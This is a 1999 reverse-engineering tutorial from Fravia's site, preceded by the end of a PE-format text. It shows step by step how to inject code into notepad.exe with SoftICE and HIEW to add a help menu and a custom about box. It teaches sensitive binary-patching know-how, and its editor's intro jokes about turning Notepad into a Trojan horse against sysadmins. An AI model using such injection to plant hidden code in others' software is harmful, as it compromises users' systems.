01 00 ; ordinal, need not be correct
57 72 69 74 65 43 6f 6e 73 6f 6c 65 41 00 ; "WriteConsoleA"
IMAGE_IMPORT_BY_NAME, at byte 0x240:
02 00 ; ordinal, need not be correct
47 65 74 53 74 64 48 61 6e 64 6c 65 00 ; "GetStdHandle"
(padding)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; padding
00
First unused byte: 0x260

--------------

Alas, this works on NT but didn't on windows 95. windows95 can't run
applications with a section alignment of 32 bytes, it needs an
alignment of 4 KB and, apparently, a file alignment of 512 bytes. So for
windows95 you'll have to insert a large number of 0-bytes (for padding)
and adjust the RVAs. Thanks go to D. Binette for testing on windows95.

-- end of text --

http://www.instinct.org/fravia/pe.txt (34 of 34) [2/7/2001 3:29:48 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

Reversing, functions addition, modifications in


the existing code and classic cracking of a
typical M$-target: notepad.exe
18 September By
a 1999 RingZ3r0 production
1999 NeuRaL_NoiSE
* W32Dasm v8.93
* SoftICE v3.24
tools used: * HIEW v6.1
* Borland Resource Workshop (BRW) v4.5
Advanced
* ProcDump32 v1.3
* API Reference
( )Beginner (X)Intermediate (X)Advanced ( )Expert

Courtesy of Fravia's page of reverse engineering


lo fravia,
hnotepad...
i chose this one because i actually think that it's complete and contains
some code injection techniques that will interest most 'new' reversers, at
least those who want to evade from the grayscaled cracking scenario and
taste the technicolor reversing one....and hopefully, on your site, such a
goal will be easier to accomplish...i think this is the most complete essay
i wrote (i write REALLY REALLY few stuff, i'm lazy and usually my thoughts
remain on paper only...even if i actually finish a project, 99% of the time
i dont write anything about it..i know, it's a really bad thing, no matter
how good/bad the resulting tutes could be, but i'm trying to change :)

laters,
nN.

What should I say? A great essay about "real" software reversing: functionality adding, playing with targets, "deviating" alien
code (and therefore individuating buffers and exploiting the "overbloatessness" of windoze's targets), menu juggling, API
function adding, new functions... name a reverser's fancy activity and our fine Author has already done it inside this very essay
you are about to read...
It's a beautiful example of a classical "corporate target" reversing (nothing more classic than Notepad: you'll find it on
whatever PC you'll be working on... and with the help of NeuRaL_NoiSE's teachings you'll now be able to transform it in your
preferred Trojan horse, eheh: screw your sysads... Enjoy!

REVERSING, FUNCTIONS ADDITION, MODIFICATIONS IN THE EXISTING CODE AND CLASSIC


CRACKING IN
A TYPICAL TARGET FROM MICRO$OFT: NOTEPAD.EXE....DETAILED DESCRIPTION OF THE CREATION
OF
HNOTEPAD

REVISION 1

By -NeuRaL_NoiSE

http://www.instinct.org/fravia/nnhnpad.htm (1 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

Some time ago, I was saying....

" Hiho!

So here we go again with Micro$oft-related stuff...after my last tutorial (about


shell32.dll
reversing), i decided to stop having to do with Micro$tuff...alas it looks like i
can't get rid
of it :D
In this tute i'll give a detailed explanation about how to modify notepad.exe (and in
general,
many other programs) in order to add/remove/modify some functions, to better adapt it
to the
project that me and two friends of mine, Anub|s and Insanity are trying to get to an
end. In a
few words, this project is about modifying notepad.exe and creating a .hlp file which
will
contain every info needed to program in raw html. Their duty was to create the help
(i suck
when it comes to program html :) and mine was to reverse engineer notepad.exe and add
the
necessary new functions. Of course the .hlp file will be (it's not ready yet) in
italian (since
we are all italians, tho i'll ask my friends if they will translate it into english
as well)."

I already published a tutorial about Hnotepad creation, but as you may have noticed
this last
tute only pointed to Windows 95 compatibility, no Win98, and above all you should
have noticed
that code generation was strictly related to the machine where you were assembling
it. I myself
was suggesting to work on it, but in the end i finished it, making the code more
portable and
stable...so here i'll describe you how, with a few additions/side changes, your code
will work
under both 95 and 98.

Another improvement from last tute is in the fact that after you've made the changes
i describe
in the last phase of this document your Notepad will read files much bigger than the
usual FFFF
bytes (special thanks to GEnius for his GENIAL idea :), but mind, i say you will be
able to READ
them, not WRITE on them -- do u remember that insufficient mem nag ? I thought i'd
leave it
there, it might be useful to have a nag that reminds you when your page is exceeding
50/60 Kb...
Nonetheless i might change that as well in some next version, who knows - hnotepad is
a pretty
open project, and it's amazing the number of friends that are asking me to improve it
and add

http://www.instinct.org/fravia/nnhnpad.htm (2 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

functions :)

___________________________

PART 1: PRELIMINARY REMARKS


___________________________

As i said, this tutorial wishes to introduce intermediate (this won'be for COMPLETE
newbies)
crackers to the world of reverse engineering, in its (imho) most interesting aspect:
ADDITION
OF FUNCTIONS IN AN ALIEN TARGET. That's it, really simple...you'll discover (if u
didn't know
it yet) that it's not such a monster to add your new stuff to targets.
I'll try to explain things in the easiest and most extensive way i can, tho i warn
you about
three things: first, you *MUST* have a (at least) basic knowledge of w32 assembly
language and, in
general, of cracking (furthermore, i STRONGLY suggest reading something about pe
headers and
Windows executable files structure as it'll help alot).
Second, my english sucks so please consider that it is a great effort for me to
translate this
whole (damn LONG:) tute -- italian version at http://ringzer0.cjb.net .
Third, READ THIS TUTORIAL *WITHOUT* THE WORDWRAPPING, OR YOU WON'T UNDERSTAND MUCH :)

IMPORTANT : Even if this tutorial describes the creation of a portable version of


Hnotepad (good
for both 95 and 98), i'll use the Notepad.exe file that comes with WINDOWS *95*...so
i suggest
you use the same file i used (for the english translation, i used notepad.exe in
english so u
should have no problems finding it around).

__________________________

PART 2 : INTRO TO HNOTEPAD


__________________________

Here's what we'll do in this tutorial:

* We'll add a menu to Notepad, that will open our new .hlp file

* We'll create the about box (as for now there isn't a REAL about box, but u'll
understand
later)

* We'll find the way to add "HTML Files" (both *.htm and *.html), "JS Files" and "VBS
Files" to
the masks (*.xyz) in the "Open file" and "Save as" dialogs

* We'll add a nice .INI file, where we'll save the status of the WordWrapping option

http://www.instinct.org/fravia/nnhnpad.htm (3 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

and the
name of the last file opened. When restarting hnotepad, wrapping will be put in the
position
(ON/OFF) indicated in the file, and the last file will be automatically reopened if
we
launched hnotepad without command line. Furthermore, this .INI file will be
automatically
created every time we'll quit the program, so there'll be no problem related to
modifying/damaging it.

* We'll eliminate the size limit of the opened file. In order to do this, we'll need
an API
function which is not imported with original notepad, tho we won't touch the import
table.
Rather, we'll use a piece of memory scanning code, which, as you'll see if you
continue
reading, will probably be REALLY useful for you reversers out there who have not
yet noticed
this interesting alternative to GetProcAddress.

That's all, we can start!

_________________________________

PART 3 : THE CREATION OF HNOTEPAD

PHASE 1 : THE NEW MENU


_________________________________

So....first of all let's try to understand WHAT we will do to our target: we have to
ADD a menu
to those already existing in the program....but let's keep in mind that during the
session
we'll surely have to add parts of OUR own code to the file....in the case of the
menu, we'll
have to add that part of the window procedure that analizes the selected menu IDs
relative to
our new menu. So we'll first of all take a look at how our target behaves when it has
to
analize menu IDs (as you know every item, from menus to buttons on dialog boxes and
so on, have
an ID that is needed to allow the program to distinguish among various resource
items)....we
could climb back to window procedure using the API RegisterClass as hook but we'll
follow
another route, a quicker one....we'll get right to the point that interests us. We
said that we
want to add a menu....so we will start looking at HOW the program behaves when you
select a
menu: the API we'll break on will be WinHelpA (which runs the file winhelp.exe under
\windows,
that is needed to open any .HLP file, of course if in windows help format). In
SoftICE, then,

http://www.instinct.org/fravia/nnhnpad.htm (4 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

"BPX WinHelpA".
Then go to notepad, and select menu "Help", then the item "Help topics".
Sice will break on WinHelpA: F12 and u'll be at the caller, which is here:

:00401E51 FF7514 push [ebp+14]


:00401E54 57 push edi
:00401E55 FF7508 push [ebp+08]
:00401E58 E80FF3FFFF call 0040116C ; <-- WE COME BACK FROM THIS CALL
:00401E5D 85C0 test eax, eax
:00401E5F 0F8582000000 jne 00401EE7
:00401E65 FF7514 push [ebp+14]
:00401E68 57 push edi
:00401E69 56 push esi
:00401E6A FF7508 push [ebp+08]

* Reference To: USER32.DefWindowProcA, Ord:0078h


|
:00401E6D FF1534744000 Call dword ptr [00407434]
:00401E73 EB74 jmp 00401EE9

Good...DefWindowProcA indicates the part of the window procedure where the messages
are
processed by default (ie when you don't process a certain message, this msg won't
just "fall
somewhere" but will be "catched" anyway by DefWindowProcA which will process it
accordingly).
This means that the menu value passes for (and is checked by) that call at 1E58 (it's
parameter
2/3, the one in EDI) where we are coming back from.
Let's see what's inside the call:

* Referenced by a CALL at Address:


|:00401E58
|
:0040116C 55 push ebp
:0040116D 8BEC mov ebp, esp
:0040116F 81EC04010000 sub esp, 00000104
:00401175 33C0 xor eax, eax
:00401177 56 push esi
:00401178 57 push edi
:00401179 BE38614000 mov esi, 00406138
:0040117E 8DBDFCFEFFFF lea edi, dword ptr [ebp+FFFFFEFC]
:00401184 B940000000 mov ecx, 00000040
:00401189 A4 movsb
:0040118A 8DBDFDFEFFFF lea edi, dword ptr [ebp+FFFFFEFD]
:00401190 F3 repz
:00401191 AB stosd
:00401192 66AB stosw
:00401194 AA stosb
:00401195 0FB7750C movzx esi, word ptr [ebp+0C] ; <- ID VALUE OF THE
CHOSEN MENU
:00401199 83FE20 cmp esi, 00000020 ; COMPARES ID VALUE AND 20h
:0040119C 8BC6 mov eax, esi
:0040119E 7F1A jg 004011BA ; IF ID > 20h, TAKE THE JUMP

http://www.instinct.org/fravia/nnhnpad.htm (5 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

:004011A0 0F84C1030000 je 00401567


:004011A6 48 dec eax
:004011A7 83F81B cmp eax, 0000001B
:004011AA 7736 ja 004011E2
:004011AC 0FB68838174000 movzx ecx, byte ptr [eax+00401738]
:004011B3 FF248DF8164000 jmp dword ptr [4*ecx+004016F8] ; OTHERWISE PROCESS
; ACCORDINGLY

So we have the menu ID (you can check all values with BRW, under "MENU") in esi, then
a check
if esi>20h. 20h is 32 dec, so we know that the IDs with value < than 32 will be
processed by a
variable jump, which will change from situation to situation, and will point every
time to the
appropriated part of code (the jmp at 11B3). So, if we don't want to mess up, we'll
better give
our menu an ID value > than 32, so that we will be able to process it following the
jg at 119E,
which brings here:

* Referenced by a JUMP at Address:0040119E(C)


|
* Possible Ref to Menu: MenuID_0001, Item: "Cut Ctrl+X"
|
:004011BA 3D00030000 cmp eax, 00000300 ; 300h (768 dec) = "Cut" menu
item
:004011BF 7C21 jl 004011E2

* Possible Ref to Menu: MenuID_0001, Item: "Copy Ctrl+C"


|
:004011C1 3D01030000 cmp eax, 00000301
:004011C6 0F8E0F030000 jle 004014DB

* Possible Ref to Menu: MenuID_0001, Item: "Paste Ctrl+V"


|
:004011CC 3D02030000 cmp eax, 00000302
:004011D1 0F8427030000 je 004014FE
..............
..........

and so on with the other checks. So we found a good point to insert a deviation to
OUR code,
which will process FIRST the ID value relative to the new menu. But first we'll have
to CREATE
this menu, don't you think ? :)
In order to do so, open notepad.exe in BRW and, under "menu" section, and under
"Help" menu,
add a new item, I called it "Anub|s+Insa's Help on HTML". Give it the id value 33
(21h), that
is useful because as we said with an id value bigger than 20h the part of the code
which will
process the id will be the one after the jg, not the one reached after the variable

http://www.instinct.org/fravia/nnhnpad.htm (6 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

jump. Any
value higher than 32 will do just fine (of course it must not be related to any other
item).
Now, in the "KEY" section, add "VK_F1", which will make THIS menu pop up when we
press F1 (and
not the old Notepad's one). Don't forget to delete the same key from old notepad's
menu.
Save, and like some kinda magic when you next start notepad you'll have this new menu
under
"Help", which will have as you know an id value of 21h.
So now we must solve the problem of the addition of our code to the file. How can we
do this??
Well we must check a thing or two first. If you open the file with HIEW, with
ProcDump or with
god only knows how many other programs, u'll have all the infos you need to add you
own code. Of
course, as you know, we can't occupy MORE bytes than the ones we have in the actual
code (which
resides in .TEXT section), so we are compelled to APPEND our code to the end of the
file, so that
afterwards we will be able to redirect jumps from PE .TEXT section to the section
where we added
the code, which is the one we'll see in a few. Usually when you want to add your own
code, the
last section will be just fine for the trick. BUT, in notepad case, we already added
a new menu,
and this addition has brought to the extention of the .RSRC (resource) section in the
pe
header...so BRW has appended this section at the end of the file in order to not
overwrite the
bytes of the following section (in other words, it has done something similar to what
we want to
do:)...you can easily check it by entering HIEW, pressing F8 (from hex or disasm
mode) to see the
header-related infoes, then F6 for the sections. So i was saying, the pe (and the
file) has now
been modified by BRW, but we must keep in mind that "natively" notepad.exe ended with
the .RELOC
section, where we could actually find therefore some free space for our code, and
which, for this
reason, is the one where we'll go and add our code (at least for the first part of
it, because
we'll soon be out of space and we'll have to continue within .RSRC). The first thing
to do is
checking the physical space (i'm talking about BYTES) we have for our code: so we
check the
Virtual Size (VirtSize = 91Eh) and the Physical one (PhysSize = A00h); the virtsize
shows us the
number of bytes that we can't modify, in other words the ones already used by the
program, while
the physsize shows us the raw size of the section: a simple subtraction A00h-91Eh
will give us
E2h (226 dec.) free bytes , in which we will be able to add our code. We won't need
to enlarge
the section, because we have all the space we need; if you had to enlarge it, BEFORE

http://www.instinct.org/fravia/nnhnpad.htm (7 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

creating the
menu with BRW, you would have loaded the file with ProcDump, edited the section, and
increased
the physical/virtual size to whatever you needed, aligning it to the FileAlignment,
plus the size
of image, aligning it to the section alignment....
Good! But we still have a problem...how can we know at WHICH OFFSET we should add our
code ? Easy,
we must look at the section's intial offset: we know that it's 5000h, so
Initial_Offset+VirtSize =
5000h+91Eh = 591Eh, our entrypoint for code addition. Why did i use the PHYSICAL
offset and the
VIRTUALY size ?? Think of it this way: the raw data (psize, offset) is relative to
the dead file on
your hard disk...while the virtual data (vsize, RVA) is relative to the mapped file,
the one that
you get when windows loader maps it in the linear address space. So, adding code in
memory would
rely on the RVA, but we need to add it on the dead file...hence we need the RAW
offset...yet we HAVE
to use the VIRTUAL size, since that'll be the amount of bytes actually taken by our
section once
mapped in memory!
Yet we have ANOTHER problem....WHICH code should we add ? :))
First of all, let's draw a scheme of the operations we want our code to perform. To
make the
code jump from .TEXT section (where we have that call that processes the ID values)
to the
.RELOC one (where our code will be), we'll necessarily need to turn some instruction
to a
jmp....we'll modify the CMP at 11BA: so we have to find a way to turn that cmp to a
jump TO
ANOTHER SECTION: this could have caused problems to a cracker once, because one poor
guy who
wanted to add his code to targets was usually compelled to use a compiler in order to
generate
valid opcodes to add to the existing code, and this implied wasting time with first
section and
last one's RVA subtractions and so on...then, one nice day SoftICE appeared into our
pc's,
along with his "A" function (Assemble instruction) :))))))))
Thanks to this great tool, we can assemble the instructions at runtime, time by time,
and
obtain thus the valid opcodes with which we'll physically patch the target
afterwards. In order
to see the bytes beside every code line in SoftICE, insert "CODE ON" either at
command prompt
or in your winice init string. The opcodes will be universal for PUSHes, CMP's and so
on, so
for THIS kind of instructions we can use HIEW directly, but for long JUMPS we'll need
SoftICE,
because the distance between the starting offset and the destination one isn't easily
obtainable
with HIEW when it comes to long jumps.
Ok for the jumps then, but what about the CALLS ?? Simple...a call to an API function

http://www.instinct.org/fravia/nnhnpad.htm (8 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

(thing that
we'll use) is nothing more than a call to a dword pointer, that resides in the so
called FirstThunk
array of the Import Table (usually in section .IDATA (imported data): every single
API function name
used by our program is usually included in this section at compiling time, and when
the loader maps
the file, it retrieves the addresses of the imported functions and patches the dword
pointers in the
FirstThunk array...these pointers, thus, head towards kernel32, or user32, or
whatever other dll,
and specifically to a determined function's entrypoint. In order to use it from our
code we'll have
to use CALL [DWORD_PTR_TO_THE_API]. To discover which dword pointer we'll have to
call in order to
invoke a certain API, we'll use W32Dasm. Every single API call will correspond to a
CALL DWORD PTR [xyz]
(you can look that up really easily by making a search inside the disasm): everytime
u'll need
that API you'll call that IAT (import address table, aka FirstThunk array) pointer
from hiew, nothing
more nothing less.

This semplifies our job ALOT, but you may be asking one thing now...HOW do we know,
from
SoftICE, WHERE (to which offset) we should jump to from section .TEXT to reach our
code ?? We
can't find the location with W32Dasm because the disassembled part only concerns
.TEXT section,
not .RELOC (where our code will be)...the solution resides in HIEW (or better yet,
use IDA;):
open notepad.exe with hiew: switch to HEX or DISASM mode, then press ALT+F1 until you
have
selected LOCAL in the way hiew will display offsets. You'll notice that, if you had
"global"
before, now there'll be a difference in the way the offsets are showed: indeed, not
offsets
anymore, but complete VA's (Virtual Addresses, = RVA+Image Base of the location),
which are
everything we have to know in order to assemble a valid jump in softice. So we'll
just assemble
a "JMP VA_of_our_new_code", and sice will give us the correct opcodes. Only for short
jumps
(within a certain code range, or for those with 2 opcodes and so on) we don't need
sice, but
we can insert the offset directly in HIEW, because the jump won't exit from a short
code range,
and HIEW is still ok for opcode generation. So from now on, when you see some
asterisks (*******)
beside the instruction, it means that it has been assembled with softice, and that i
patched the
file with the bytes that it gave me back.

Another problem...we said that we have to make the program open a new file with this
menu,

http://www.instinct.org/fravia/nnhnpad.htm (9 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

which will be Anub|s and Insanity's file on HTML programming...this file will surely
have a
name (something.hlp), even if i don't know yet (but nor do them i believe :))),
anyway we'll
use a demonstrative name here, and it'll be HNOTEPAD.HLP. So i was saying, we have to
make the
code recognize the name "HNOTEPAD.HLP" as well, but of course this name isn't present
anywhere in
the code...so we'll have to add it to our target's STRINGTABLE. The stringtable is
nothing more
than the place where we can find all the strings among the resources of the program.
We could
turn some old string into our new "HNOTEPAD.HLP", or we could append it (the 'raw'
way;) to the
code of our target (thing that we'll do later in this tutorial, and that is useful
when you can't
gain access to a program's resources), but considered that we have access to the
resources, we'll
ADD it to the stringtable and we'll treat it just as any other string already
existing. So the
first step is, in BRW, to select the LAST stringtable (# 48), press the right mouse
button and
EDIT IT AS TEXT (be careful not to edit it only, or you won't be able to add items to
the table).
Once you are in the table, just add this line at the end:

58, "hnotepad.hlp"

Save the file, and you're done! Now we have a brand new string, that we'll be able to
use from
the code at our will...do you start to see the HUGE possibilities that appear before
us?? :)
So...now you have to know (if you didn't know it already:) that strings are loaded
from the
stringtable with the LoadStringA function, whose prototype is:

int LoadString(

HINSTANCE hInstance,// handle of module containing string resource


UINT uID, // resource identifier (in our case 58, or 3Ah)
LPTSTR lpBuffer, // address of buffer for resource
int nBufferMax // size of buffer (# of chars to take from the string: if the
string is
// shorter it's ok, but if it's longer it will be truncated!
);

Hmmm....the problem here is the buffer....how do we know which buffer we should use
for our new
string? Well, we just need a little experience with the program i'd say....start
setting
breakpoints, and you'll pretty soon find a buffer good for our new resource. You have
two
choices:
1 - finding a buffer which is loaded ONLY ONCE (at program execution): in this case

http://www.instinct.org/fravia/nnhnpad.htm (10 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

you'll have
to use LoadStringA one more time, like some sorta PUSH and POP with the buffer.
2 - finding a buffer that is loaded EVERY TIME the program needs the string which is
supposed
to fill that buffer....in this case, you won't have to worry about replacing the new
string
with the old one once u're done with it, because it will be the program itself to do
the job
for you. This last one is definately the best choice, as it avoids us coding bigger
routines.
So, let's take a look around us..let's take the messagebox that says "This file is
too large
for Notepad to open...wanna use Wordpad??"...if u choose "yes", you'll notice a
LoadStringA
that loads the variable "wordpad.exe" into a buffer, which is needed to run the
program
(wordpad)...here's the disasm (keep in mind that the values are pushed on the stack
in reverse
order):

:00402D70 6804010000 push 00000104 ; PUSHES # OF CHARS TO TAKE FROM THE


STRING
:00402D75 8D85B8FEFFFF lea eax, dword ptr [ebp+FFFFFEB8] ; EAX
BECOMES=63F8C4h
:00402D7B 50 push eax ; PUSHES 63F8C4h AS BUFFER TO RECEIVE THE
STRING

* Reference To: USER32.LoadStringA, Ord:0168h


|
:00402D7C 8B1DB0734000 mov ebx, dword ptr [004073B0]
:00402D82 837D1001 cmp dword ptr [ebp+10], 00000001 ; (DUMMY)
:00402D86 1BFF sbb edi, edi ; (DUMMY)

* Possible Reference to String Resource ID=00056: "wordpad.exe"


|
:00402D88 6A38 push 00000038 ; ID TO "WORDPAD.EXE" IN
THE TABLE
:00402D8A FF3570514000 push dword ptr [00405170] ; HANDLE TO THE MODULE
CONTAINING
; THE TABLE
:00402D90 FFD3 call ebx ; CALL LOADSTRING

Excellent! We found our buffer...write down that memory address, and REMEMBER it, as
we'll use it
as a "multi-purpose" variable during our session: 63F8C4h...even if we'll
overwrite it with our new string "hnotepad.hlp", the buffer will be replaced with the
old string
whenever the program tries to run wordpad. Notice that we can, following this method,
find out
the "unvariable" informations of a call as well, in this case the handle to the
module
containing the stringtable (the "dword ptr [405170]" pushed at 2D8A, which contains
the value

http://www.instinct.org/fravia/nnhnpad.htm (11 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

400000h, that will be our handle) (a simple GetModuleHandleA with a NULL param would
have the same
effect, and anyhow, 99% of the times the hModule value is 400000h for exe's..since we
have no address
clash when mapping the file...why ? because windows loader creates a per-process area
for every
process, as opposed to the shared area... hence, every process will be mapped at that
imagebase,
except in 2 cases (always talking about exe's, not dll's, remember): one, the file is
remapped on
purpose, or two, there's a MAJOR resource leak in the system, and windows loader
decides it has not
enough mem to page a new per-process area, and simply maps the new process in an
existing memory
context, just at a different base...)...
We could push 400000h directly when we needed, but we'll always use this pointer
(remember that
when you modify already compiled targets it's safe, above all for those who haven't
got much
experience, to verify data twice, and generally to use AS OFTEN AS POSSIBLE pointers
and not
immediate values), yet we'll use the immediate value later, for reasons that you will
understand.

Now we know how to obtain the string "hnotepad.hlp" in our code, and where we'll find
it when we
need it, but yet we miss the final detail....HOW do we call the WinHelpA function?
Once again
our API reference helps us:

BOOL WinHelp(

HWND hWndMain, // handle of window requesting Help


LPCTSTR lpszHelp, // address of directory-path string
UINT uCommand, // type of Help
DWORD dwData // additional data
);

Well, this is simple...once again we'll see how things really work by looking at
practical
examples of the function in the code: so, a BPX WinHelpA in softice will help us
examine the
code when we choose "Help"/"Help Topics"...
there u go:

:0040121C 6A00 push 00000000 ; NO ADDITIONAL DATA


:0040121E A194604000 mov eax, dword ptr [00406094] ; EAX=POINTER TO
"NOTEPAD.HLP" STRING
:00401223 6A0B push 0000000B ; =HELP_FINDER, JUST A WAY TO CALL HELP
:00401225 50 push eax ; PUSHES "NOTEPAD.HLP"
:00401226 FF3500604000 push dword ptr [00406000] ; HERE IS THE POINTER TO THE
HANDLE OF THE
; WINDOW

* Reference To: USER32.WinHelpA, Ord:0225h

http://www.instinct.org/fravia/nnhnpad.htm (12 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

|
:0040122C FF154C744000 Call dword ptr [0040744C] ; CALLS WINHELPA

You may be wondering how did i know that 0Bh is equal to HELP_FINDER parameter. I
suggest you
download Masm/Tasm and take a look at the file "windows.inc" (or "win32.inc"). It
contains all
the equates you will need when you want to associate a literal param to a hex number
(literal
params are just equates to numbers, so when you code your own .ASM program you can
either push
the number or the literal parameter, it just makes no difference. But when it comes
to patching
a compiled target you HAVE to know the numeric value, or you will never know what to
push).
Good....now we know that the handle (which was the thing that we wanted to know the
most) will
be found, when needed, at the address where dword ptr [406000] points to...
One last word about this function: our API reference informs us that we'll have to
call
WinHelpA with parameter HELP_QUIT (= 02) when we close the program, but we won't have
to worry
about it in our case because notepad automatically does the job for us at closing
time.

Great! Now we have all the infoes we need to dive into the bytes and add code to our
target!
First of all, we'll change the CMP at 4011BA (@offset 5BAh) into a "JMP 40891E"

was:

:004011BA 3D00030000 cmp eax, 00000300


:004011BF 7C21 jl 004011E2

and becomes:

:004011BA E95F770000 ************ jmp 0040891E ; -> TOWARDS OUR NEW CODE
:004011BF 90 nop
:004011C0 90 nop

So we turned a CMP and a JL into a JMP and 2 NOPs. The nops are needed to fill the
bytes of the
jl that is useless now (we could even keep those bytes, but it's a matter of
clearness...u'll
find it easier to organize in this way), because we will move the whole check to the
.RELOC
section. One last note before adding our code. We have to keep in mind that when we
execute our
operations the stack and the registers must be kept intact, in other words we don't
have to leave
any "i-was-here" track, if u get what i mean :)
We can easily do that by saving all the registers and restoring them in the end with
PUSHAD and
POPAD. Here's the code we'll add with HIEW at offset 591Eh (F3 then F2 to insert an

http://www.instinct.org/fravia/nnhnpad.htm (13 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

asm
instruction...when you find the asterisks it means that you have to exit from F2 mode
and write
the bytes manually, as they have been generated by SoftICE (the bytes are in the
"OPCODES:"
part in the comments), while when you find API calls you can read the address of the
dword ptr to
call within CALL D,[40xxxx]):

SIDENOTE: IN HIEW, IF YOU WANT TO WRITE "DWORD PTR [xyz]", USE "D,[xyz]", IF YOU WANT
TO WRITE
"BYTE PTR" USE "B" AND SO ON...GENERALLY, REFER TO OTHER INSTRUCTIONS TO FIND OUT THE
WAY YOU
MUST TYPE IN YOURS.

591Eh: cmp eax, 21 ; eax holds current item's ID. 21h = ID of our new menu
("Anub|s+Insa..")
jz 5933 ; if you clicked there, process it. 2-opcodes jump, so HIEW is
OK

cmp eax,300 ; THESE ARE THE 2 CODE LINES THAT WE REPLACED WITH THE JMP IN
.TEXT
****** jl 4011E2 ; SECTION...WE RESTORE THEM HERE! ...OPCODES: 0F8CB488FFFF

****** jmp 4011C1 ; continue with the other checks, jumping back to .TEXT
; OPCODES: E98E88FFFF

5933h: pushad ; saves all regs


push 20 ; max # of chars to take from the string
push 63F8C4 ; address of the input buffer, see above
push 3a ; 3Ah=58 dec...this is the ID of our new string
"hnotepad.hlp"
push dword ptr [405170] ; handle of module containing string resource

call LoadStringA ; loads 20 chars of "hnotepad.hlp" string in 63F8C4


; CALL D,[4073B0]

popad ; restores all regs

; now we'll stick in parameters pushing for our customized call to WinHelpA

push 0 ; no additional data


push 3 ; 3=HELP_INDEX, will allow us to see the help index when
we open it
push 63f8c4 ; buffer containing "hnotepad.hlp"
push dword ptr [406000] ; handle of window requesting Help (see above)
****** jmp 40122c ; come back to .TEXT section at the point where we
have the
; WinHelpA call - OPCODES: E9CE88FFFF

Great...now run your "new" notepad, paying attention to put a help file named
"hnotepad.hlp" into
the same dir where u're running it from....click on our new menu, et voila! It's

http://www.instinct.org/fravia/nnhnpad.htm (14 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

done...we just
added a brand new function to notepad.exe :)

_______________________

PHASE 2 : THE ABOUT BOX


_______________________

Here we go with phase two...why did i choose to put a new about box ?? easy...first
of all,
Insanity and Anub|s had to be aknowledged in the about, and then, a little bit of
personal
satisfaction.....:))
Furthermore this procedure will teach us some new things as well, because we'll soon
discover
that notepad.exe HASN'T GOT a OWN about box...the guys at Micro$oft have invented a
pretty
useful API function, located in shell32.dll...I'm talking about ShellAboutA. This API
just
creates a PREDEFINED message box, with the percentage of free resources, memory and
so on (in
other words notepad's about box) plus some additional info that you can specify at
the moment.
Needless to say, this bothers us SO MUCH that we HAVE to put our own code here :D
In sice, a bpx on ShellAboutA (first load the exports from shell32.dll! You can do
that with
either "File/Load Exports" from SoftICE's symbol loader, or appending it to the
EXP='s of your
winice.dat) points us in the right direction: here's where the code for the about box
starts:

:004013D0 6A02 push 00000002


:004013D2 A170514000 mov eax, dword ptr [00405170]
:004013D7 50 push eax

* Reference To: USER32.LoadIconA, Ord:015Eh


|
:004013D8 FF1550744000 Call dword ptr [00407450]
:004013DE 50 push eax
:004013DF 683C614000 push 0040613C
:004013E4 FF3560604000 push dword ptr [00406060]
:004013EA FF3500604000 push dword ptr [00406000]

* Reference To: SHELL32.ShellAboutA, Ord:004Ch


|
:004013F0 FF1580734000 Call dword ptr [00407380]

bah, useless stuff...rather, we'll stick here the jump to .RELOC section, where our
code will
be.

http://www.instinct.org/fravia/nnhnpad.htm (15 of 49) [2/7/2001 3:30:19 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

Like in the previous situation, we must first understand WHAT we want to do. An about
box,
right ? Then a message box will be more than enough. Here's the prototype for this
simple API
function:

int MessageBox(

HWND hWnd, // handle of owner window


LPCTSTR lpText, // address of TEXT in message box
LPCTSTR lpCaption, // address of TITLE of message box
UINT uType // style of message box
);

Hmmm....how about those two buffers ? The text we want to stick in is quite long...we
could add
more strings to the stringtable and use two more buffers as the title and text of the
message
box, but we won't, for two reasons: first of all, when you patch a program and want
to insert
new things, you *MUST* try to optimize your code and make it as fast and as compact
as possible
, and SECOND, NEVER leave unused strings...in other words, before adding new
resources, you have
to figure out if there are any older resources that you will not use anymore...
if so, rather than adding new resources for you purposes, you'd better OVERWRITE
obsolete ones...
remember, SAVING SPACE IS FUNDAMENTAL!).
Now let's try to figure out that in our case: in PHASE 5 of this tutorial we'll
eliminate the
box that says "This file is too large for Notepad to open...", as we'll remove the
limit in size,
so consequently we could stick our new about text in the place of that string...so
the pointer to
the old "This file blah blah" string (which is the one at 4060B0, as you can see
breaking on
the message box above) would point now to the TEXT of our about box...so everything
we have to
